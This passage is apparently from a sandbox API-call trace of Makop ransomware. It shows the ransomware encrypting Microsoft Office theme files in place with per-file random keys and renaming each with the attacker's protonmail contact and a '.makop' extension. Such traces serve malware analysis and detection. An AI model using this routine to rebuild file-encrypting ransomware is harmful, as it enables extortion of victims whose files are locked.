phKey=0x657952c*=0x48c70e8) returned 1 [0156.725] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.725] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f427, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x3f427, lpOverlapped=0x0) returned 1 [0156.732] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x3f430, dwBufLen=0x3f430 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x3f430) returned 1 [0156.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.736] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3f430, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x3f430, lpOverlapped=0x0) returned 1 [0156.738] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.738] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3f4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.738] SetEndOfFile (hFile=0x124) returned 1 [0156.748] GetProcessHeap () returned 0x48a0000 [0156.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0156.748] GetProcessHeap () returned 0x48a0000 [0156.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.748] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0156.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.749] CloseHandle (hObject=0x124) returned 1 [0156.750] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0156.750] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned 68 [0156.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.753] GetProcessHeap () returned 0x48a0000 [0156.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.753] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.753] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xa, lpOverlapped=0x0) returned 1 [0156.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.758] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.758] GetProcessHeap () returned 0x48a0000 [0156.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.758] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.758] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.758] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.758] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.758] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.759] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.759] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.759] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.759] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15a56, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x15a56, lpOverlapped=0x0) returned 1 [0156.762] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x15a60, dwBufLen=0x15a60 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x15a60) returned 1 [0156.764] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.764] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15a60, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x15a60, lpOverlapped=0x0) returned 1 [0156.765] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.765] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.765] SetEndOfFile (hFile=0x124) returned 1 [0156.772] GetProcessHeap () returned 0x48a0000 [0156.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.773] GetProcessHeap () returned 0x48a0000 [0156.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.773] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0156.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.774] CloseHandle (hObject=0x124) returned 1 [0156.775] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0156.775] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned 64 [0156.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.778] GetProcessHeap () returned 0x48a0000 [0156.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.778] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.778] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xb, lpOverlapped=0x0) returned 1 [0156.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.783] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.783] GetProcessHeap () returned 0x48a0000 [0156.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.783] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.783] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.783] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.784] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.784] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.784] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.784] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.784] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x109e5, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x109e5, lpOverlapped=0x0) returned 1 [0156.787] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x109f0, dwBufLen=0x109f0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x109f0) returned 1 [0156.788] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.788] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x109f0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x109f0, lpOverlapped=0x0) returned 1 [0156.789] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.789] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.789] SetEndOfFile (hFile=0x124) returned 1 [0156.797] GetProcessHeap () returned 0x48a0000 [0156.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.797] GetProcessHeap () returned 0x48a0000 [0156.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.797] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0156.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.799] CloseHandle (hObject=0x124) returned 1 [0156.799] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0156.799] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned 64 [0156.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.801] GetProcessHeap () returned 0x48a0000 [0156.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.802] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.802] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.802] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0156.806] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.806] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.806] GetProcessHeap () returned 0x48a0000 [0156.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.806] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.807] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.807] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.807] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.807] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.807] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.808] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.808] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.808] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.808] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.809] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1763b, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1763b, lpOverlapped=0x0) returned 1 [0156.811] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x17640, dwBufLen=0x17640 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x17640) returned 1 [0156.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.813] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17640, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x17640, lpOverlapped=0x0) returned 1 [0156.814] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.814] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.814] SetEndOfFile (hFile=0x124) returned 1 [0156.823] GetProcessHeap () returned 0x48a0000 [0156.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.823] GetProcessHeap () returned 0x48a0000 [0156.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.823] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0156.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.825] CloseHandle (hObject=0x124) returned 1 [0156.825] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0156.825] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned 67 [0156.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.827] GetProcessHeap () returned 0x48a0000 [0156.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.827] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.828] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xd, lpOverlapped=0x0) returned 1 [0156.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.832] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.832] GetProcessHeap () returned 0x48a0000 [0156.832] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.832] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.832] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.832] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.833] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.833] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.833] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.833] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.833] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: 